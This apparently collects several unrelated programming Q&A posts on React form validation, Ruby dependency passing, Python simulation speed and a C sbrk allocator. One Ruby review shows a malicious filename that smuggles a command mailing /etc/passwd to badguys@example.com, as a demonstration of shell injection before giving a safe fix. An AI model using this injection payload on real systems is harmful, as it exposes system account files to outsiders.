          First name:

        <input
          type='text'
          name ='firstName'
          value = {this.state.firstName}
          onChange = {this.handleValidation.bind(this)}
        />
        <ErrorOutput case={this.state.firstName} name={'firstName'} />

          Phone number:

        <input
          type='tel'
          name ='telNo'
          value = {this.state.telNo}
          onChange = {this.handleValidation.bind(this)}
        />
        <ErrorOutput case={this.state.telNo} name={'telNo'} />
      </form>
    )
  }
}

render(
  <App />,
  document.getElementById('root')
)

A pattern I use for this is individual validators:

function validateName(value) {
  if (value.length > 0) {
    if (!inputValue.match(/^[a-zA-Z]+$/)) {
      return 'Letters only'
    }
  }
  return ''
}

Obviously this can be heavy for simple forms, but it's a very reusable pattern, and it keeps your components lighter:

handleValidation(e) {
  const name = e.target.name
  const value = e.target.value
  this.setState({ [name]: value }, () => {
    if (name === 'firstName') {
      this.setState({ errors[name]: validateName(value) })
    }
  })
}

This allows you to do:

{this.state.errors['firstName'] &&
{this.state.errors['firstName']}
}

One benefit I find to this pattern is that it scales well - as your forms grow, you'll refactor to have your inputs as their own components and managing their own state, and this pattern will scale better and better as you refactor, as opposed to doing all the checking within a single function.


Avoid passing variable from class to class For context, I have a SourceControlSystem factory class that detects if a user is using Git, SVN, or another source control system and returns an object to interact with that source control system. The implementation is here, but I don't think it's very relevant.

So, at the start of my library, I have this single line:

@source_control_system = SourceControlSystem.create

Now the problem is that some classes depend on this variable. I have a Churn class that needs this variable, but a Churn class instance is only created inside of a Turbulence class.

So I'm doing stuff like the following:

First, I pass @source_control_system to a Turbulence instance:

Turbulence.new(@source_control_system).data

And then inside the Turbulence class:

class Turbulence
  def initialize(source_control_system)
    @source_control_system = source_control_system
  end

  ...

  # Turbulence doesn't need @source_control_system
  # It merely passes it to Churn
  def churn
    @churn ||= Churn.new(@paths, @source_control_system).churn
  end
end

And then I finally pass it to to the Churn class:

class Churn
  def initialize(paths, source_control_system)
    @paths = paths
    @source_control_system = source_control_system
  end

  # do stuff with @source_control_system here
end

Do you consider this to be a problem or not?

I don't think creating that variable is that expensive so I could just call SourceControlSystem.create twice, once inside the Churn class and another outside of it. Do you see any harm in that? I could do that but it seems... odd.

Or should SourceControlSystem be some sort of global singleton object? That way, every class that needed it could instantly access it and call methods on it. You know, like the Math module. That way, I wouldn't have to keep passing it as an argument to a bunch of classes.

How would you do it?

I need to comment on an aspect of the code that you did not ask about, which is the way you invoke git as an external command:

def revisions_count(file)
  `git log --follow --format=oneline #{file}`.count("\n")
end

That filename interpolation is dangerous.  You might get a "benign" failure if, for example, the filename contains a space.  In the worst case, the filename might contain a shell metacharacter, such as a semicolon, which could lead to the execution of arbitrary code.

  Here's an example of it being exploited on a Unix system.  At the shell prompt, create the malicious file:

  touch '; mail badguys@example.com < `printf "\057etc\057passwd"`'

  (I've used printf to work around the restriction that Unix filenames can contain any character except / and NUL.)

  Then, run the following Ruby code:

revisions_count(*Dir.glob('*badguys*'))

Backticks are a handy technique for throwaway code, but aren't really suitable for production-quality code.  Your Git class should have one common codepath for executing git securely.

class Git
  class GitError < Exception ; end

  # Executes git with the given command-line arguments.
  # If a block is given, then the block is called with git's output as an IO object.
  # Raises Git::GitError if the command did not exit with a successful status.
  # Otherwise, returns the result of the block (if there is a block) or
  # the Process::Status object (if no block is given).
  def self.git(*args)
    IO::popen(['git', *args], 'w+') do |pipe|
      begin
        return block_given? ? (yield pipe) : $?
      ensure
        begin
          pipe.read  # Drain the pipe to avoid SIGPIPE
        end
        pipe.close unless pipe.closed?
        raise GitError.new unless $?.success?
      end
    end
  end

  def revisions_count(file)
    git('log', '--follow', '--format=oneline', file) do
     |pipe| pipe.to_a.length
    do
  end
end

If you need compatibility with Ruby 1.8, whose IO::popen does not take an array…

  def self.git(*args)
    IO::popen('-', 'w+') do |pipe|
      if pipe.nil?
        # Parent
        Kernel.exec('git', *args)
      else
        # Child
        begin
          return block_given? ? (yield pipe) : $?
        ensure
          begin
            pipe.read  # Drain the pipe to avoid SIGPIPE
          end
          pipe.close unless pipe.closed?
          raise GitError.new unless $?.success?
        end
      end
    end
  end


Generating DNA sequences and looking for correlations I've written a script to generate DNA sequences and then count the appearance of each step to see if there is any long range correlation.

My program runs really slow for a length 100000 sequence 100 times replicate.  I already run it for more than 100 hours without completion.

#!/usr/bin/env python

import sys, random
import os
import math

length = 10000

initial_p = {'a':0.25,'c':0.25,'t':0.25,'g':0.25}

tran_matrix = {'a': {'a':0.495,'c':0.113,'g':0.129,'t':0.263},
               'c': {'a':0.129,'c':0.063,'g':0.413,'t':0.395},
               't': {'a':0.213,'c':0.495,'g':0.263,'t':0.029},
               'g': {'a':0.263,'c':0.129,'g':0.295,'t':0.313}}

def fl():
    def seq():
        def choose(dist):
            r = random.random()
            sum = 0.0
            keys = dist.keys()
            for k in keys:
                sum += dist[k]
                if sum > r:
                    return k
            return keys[-1]
        c = choose(initial_p)
        sequence = ''
        for i in range(length):
            sequence += c
            c = choose(tran_matrix[c])
        return sequence

    sequence = seq()
        # This program takes a DNA sequence calculate the DNA walk score.
        #print sequence
    #print len
    u = 0
    ls = []
    for i in sequence:
        if i == 'a' :
            #print i
            u = u + 1
        if  i == 'g' :
                #print i
            u = u + 1
        if  i== 'c' :
                #print i
            u = u - 1
        if  i== 't' :
                #print i
            u = u - 1
        #print u
        ls.append(u)

            #print ls
    l = 1
    f = []
    for l in xrange(1,(length/2)+1):
        lchange =1
        sumdeltay = 0
        sumsq = 0
        for i in range(1,length/2):
            deltay = ls[lchange + l ] - ls[lchange]
            lchange = lchange + 1
            sq = math.fabs(deltay*deltay)
            sumsq = sumsq + sq
            sumdeltay = sumdeltay + deltay
        f.append(math.sqrt(math.fabs((sumsq/length/2) - math.fabs((sumdeltay/length/2)*(sumdeltay/length/2)))))
        l = l + 1
    return f

def performTrial(tries):
    distLists = []
    for i in range(0, tries):
        fl()
        distLists.append(fl())
    return distLists

def main():
    tries = 10
    distLists = performTrial(tries)
    #print distLists
    #print distLists[0][0]
    averageList = []
    for i in range(0, length/2):
        total = 0
        for j in range(0, tries):
            total += distLists[j][i]
        #print distLists
        average = total/tries
        averageList.append(average)
    # print total
    return averageList

out_file = open('Markov1.result', 'w')
result = str(main())
out_file.write(result)
out_file.close()

One word: numpy.

A few more words:

numpy is a library that includes highly-tuned algorithms (often in Fortran, C, and C++) specifically for the purposes of accelerating numerical computations over matrices and other arrays. If it's at all applicable to what you're trying to do, it's almost certainly the best answer. Even when numpy itself isn't appropriate, look at the other components of scipy (the larger project it's part of).

At the moment, the numpy site seems to be down, and the scipy site seems to be responding but broken. The docs wiki is working, at least. (Please don't take this as an indication that numpy is some fly-by-night project; almost everyone who does numerical or scientific computing in Python relies on it. I'm sure it'll be fixed shortly.)

However, there are other possibilities for other use cases:

Analyze your algorithms and make sure the problem isn't what you're doing, rather than how you're doing it. There's no point making everything 30% faster, or even 95%, when the real problem is that you're doing 1000000 loops instead of 1000.
Profile your code, and don't worry about the parts that aren't slow or aren't called often.
Whenever it's possible to use a built-in function, even if it's a bit more awkward, it's often faster. (For example, sticking an iterator in a collections.deque of size 0 is at least 30% faster than any pure-Python way of walking and disposing the iterator.)
Cython gives you a way to write almost-Python code that gets compiled into C (and then into binary code).
You can port (bits of) your code to C explicitly.
Sometimes just running in PyPy (or maybe Jython or IronPython) instead of the normal CPython makes a big difference.
Replace explicit lists with generators, and explicit list-building loops that can't be replaced by generators with list comprehensions.
If you need that last 2%, there are all kinds of tricks, like rebinding members of objects to local variables, that aren't always more trouble than they're worth.

A couple more words on Cython:

The first step to accelerating some slow critical code with Cython is just to move it as-is into Cython. If that doesn't help enough, try adding explicit types to variables and turning function definitions from def into cdef. If that's still not enough, then you have to actually learn how to use Cython effectively—but you may get enough win that you don't even have to understand why it's helping. (Although obviously you should learn anyway.)


Implementing sbrk for a custom allocator in C I took on a for-fun task of creating a memory allocator which uses process memory rather than making a bunch of system calls to the operating system. The task was: implement my own malloc() and free() functions which are limited to a pool (stack array) of 20000 bytes. I already had my own malloc and free implementations which used the sbrk() in unistd.h, but I realized the difference here would be that I need to re-create an sbrk that instead of getting memory from the OS, gets memory from my array. I had no experience doing this and was quite frankly pretty unfamiliar with how sbrk() worked internally. Even more, I still don't fully understand unistd's sbrk() integer pointer param. Nevertheless, I came up with a way to imitate the functionality below:

#define MEMORY_CAPACITY 20000
//NOTE: These are GLOBAL variables below
char global_mem[MEMORY_CAPACITY] = {0};
void *p_break = &global_mem;
void* mov_sbrk(int increment)
{
    void *final_address = (char*) global_mem + (MEMORY_CAPACITY-1);
    void *original = p_break;
    if(increment == 0)
    {
        return p_break;
    }
    if(((char*)p_break + increment) < (char*)global_mem)
    {
        ERR("mov_sbrk: Cannot move to address prior to start of memory.");
        return (void*) -1;
    }
    if(((char*)p_break + increment) > (char*)final_address)
    {
        ERR("You've run out of memory!");
        return (void*) -1;
    }
    p_break = (void*) ((char*)p_break + increment);
    return original;

}

Note that ERR is just a macro for fprintf(stderr, msg). Please critique this implementation and let me know if I am missing anything. I've performed some tests with my allocator and so far, it performs as expected. The difference though is that I used a int because a int ptr like the "official" sbrk() uses as a parameter didn't make sense to me since it would force increments of the architecture's integer size rather than byte-by-byte.

Interface: consider accepting larger types than int.  The Linux man page says:

Various systems use various types for the argument of sbrk().  Common are int, ssize_t, ptrdiff_t, intptr_t.

ptrdiff_t seems like the most appropriate choice.  Of course, it doesn't really matter with this implementation, as the capacity is less than 32768, and so even a minimal INT_MAX allocation will fail.

if(((char*)p_break + increment) < (char*)global_mem)

Since we have no guarantee that p_break + increment won't overflow, we should re-write that as:
if (increment < global_mem - (char*)p_break)

We know that global_mem - p_break can't overflow, as they are pointers into the same object.
Similarly,

if(((char*)p_break + increment) > (char*)final_address)

should be rewritten as
if (increment > (char*)final_address - (char*)p_break)

We can avoid all the casts here by using char* pointers rather than void* - only the public interface needs the void*.

I hope the ERR macro is compiled out in non-debug builds - users certainly won't want or expect output from sbrk.
The error paths should set errno to ENOMEM.

Modified code
#include <errno.h>

#define MEMORY_CAPACITY 20000

void *mov_sbrk(int increment)
{
    static char global_mem[MEMORY_CAPACITY] = {0};
    static char *p_break = global_mem;

    char *const limit = global_mem + MEMORY_CAPACITY;
    char *const original = p_break;

    if (increment < global_mem - p_break  ||  increment >= limit - p_break)
    {
        errno = ENOMEM;
        return (void*)-1;
    }
    p_break += increment;

    return original;
}

(I moved the global variables into the function to reduce their scope; that might not be appropriate if you also want to implement brk(), but I'm only reviewing the code I see!)